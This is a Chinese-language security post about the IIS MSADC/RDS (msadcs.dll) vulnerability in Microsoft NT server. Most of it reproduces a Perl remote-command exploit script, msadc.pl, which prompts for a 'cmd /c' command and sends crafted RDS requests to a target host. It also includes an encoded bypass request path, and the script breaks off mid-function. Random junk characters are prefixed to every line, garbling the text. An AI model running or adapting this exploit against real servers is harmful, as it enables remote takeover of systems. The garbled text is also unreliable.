IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Woa5Ov!n0 9Q-/Yh 涉及程序:
6NJ"ty9Bp Microsoft NT server
&H,5f# ntkTrei
] 描述:
t
),~w,7(J 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
CJg & HZCEr6}( 详细:
/A\'_a| 如果你没有时间读详细内容的话,就删除:
sLK J<=0i c:\Program Files\Common Files\System\Msadc\msadcs.dll
vn3<LQ] 有关的安全问题就没有了。
o%X_V!B{V +o(t5O[G 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
sR,]eo<p& 84)$ CA+NX 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
85Q2c 关于利用ODBC远程漏洞的描述,请参看:
-h^FSW($-R C$oY,A, http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm k:s}`h_n F6h3M~uR 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
tY !fO>Fn~ http://www.microsoft.com/security/bulletins/MS99-025faq.asp 3 8pw wx -NUTRim 这里不再论述。
Ya*lq!
u KCJ zE> 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
{,.1KtrSN OP]=MZP| /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
im9 B=D 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
&+6XdhX i0 {pm q pez*kU+9 #将下面这段保存为txt文件,然后: "perl -x 文件名"
\lCr~D5 UoPd>q4Uj #!perl
?H eC+=/Z #
~!meO;|W # MSADC/RDS 'usage' (aka exploit) script
LdI) #
3!Zd]1$ # by rain.forest.puppy
>`n0{:.1za #
R"e~0WO # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
'IP'g,o++ # beta test and find errors!
].]yqD4P 5fv eQI~! use Socket; use Getopt::Std;
#tN)OZA getopts("e:vd:h:XR", \%args);
RO'MFU<g ]kbmbO?M print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
0`"]mYH ;4 R1 if (!defined $args{h} && !defined $args{R}) {
!tCw)cou print qq~
:N\*;> Usage: msadc.pl -h <host> { -d <delay> -X -v }
'[I_Iu#, -h <host> = host you want to scan (ip or domain)
h|yv*1/| -d <seconds> = delay between calls, default 1 second
YZ:YYcr -X = dump Index Server path table, if available
eHF#ME -v = verbose
]p(+m_F -e = external dictionary file for step 5
5g&.P\c{ u@}((V Or a -R will resume a command session
gQ.yNe /tc*jXB ~; exit;}
qW6a|s0} Me yQ`% $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
}+#-\a2 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
5,I'6$J
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
%Z 9<La if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
a-4'jT: $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Q7&Yy25 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
"@Bc eD + Q
If7= if (!defined $args{R}){ $ret = &has_msadc;
<oI{:KH die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
bsC~
2S\o 49nZWv48"_ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
h/5n+*x( . "cmd /c ";
W tnZF]1:u $in=<STDIN>; chomp $in;
a)MjX<y $command="cmd /c " . $in ;
t] P[>{y 6b9D db* if (defined $args{R}) {&load; exit;}
@j`_)Y\ jRm:9`.Q print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
f*Xonb &try_btcustmr;
|]RV[S3v e-,U@_B print "\nStep 2: Trying to make our own DSN...";
8*6vX! Z| &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Rs_@L}U.. Pg-~^"?y print "\nStep 3: Trying known DSNs...";
&}nU#)IX &known_dsn;
'BpK(PlUh A)2vjM9}K print "\nStep 4: Trying known .mdbs...";
v/c8P\ &known_mdb;
:J@q
Xa k.rP}76 if (defined $args{e}){
yX,2`&c print "\nStep 5: Trying dictionary of DSN names...";
7fLLV2 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
?t'ZX~k 2*vOo^f print "Sorry Charley...maybe next time?\n";
S59!+V exit;
%:h)8e-; ilw<Q-o4( ##############################################################################
'jZ2^ &9$0v" `H sub sendraw { # ripped and modded from whisker
{q~Bss{z sleep($delay); # it's a DoS on the server! At least on mine...
%.r{+m my ($pstr)=@_;
[`_&d7{-4b socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
U
u(ysN4` die("Socket problems\n");
DIB Az s if(connect(S,pack "SnA4x8",2,80,$target)){
$lOx
6rL select(S); $|=1;
b,Ed}Ir print $pstr; my @in=<S>;
n&iWYECz select(STDOUT); close(S);
fGcAkEstT! return @in;
KZ6}),p } else { die("Can't connect...\n"); }}
Fm3-Sn|Po s{NEP/QQJ ##############################################################################
4};!nYey! U`,&Q] sub make_header { # make the HTTP request
9xB^dKM3 my $msadc=<<EOT
e!l!T@
pf POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
GIWgfE? User-Agent: ACTIVEDATA
Tg&{P{$ Host: $ip
!aeL*`; Content-Length: $clen
LbJtU! Connection: Keep-Alive
kI<C\*N $hPAp} ADCClientVersion:01.06
)?%FU?2jrn Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
%;!@\5$ .bB_f7TH. --!ADM!ROX!YOUR!WORLD!
Y:FV+ SI Content-Type: application/x-varg
ndOPD]A' Content-Length: $reqlen
m`g%\o^6i 0'TqW9P EOT
mbsdiab#N ; $msadc=~s/\n/\r\n/g;
T73oW/.0X? return $msadc;}
v>c[wg9P vYL{5,t {1 ##############################################################################
b)en/mz Y`LZ/Tgk sub make_req { # make the RDS request
"}\2zub9 my ($switch, $p1, $p2)=@_;
W2wDSP- my $req=""; my $t1, $t2, $query, $dsn;
ci+Pg9sS 5u:+hB if ($switch==1){ # this is the btcustmr.mdb query
Gnl6>/L, $query="Select * from Customers where City=" . make_shell();
%\}|&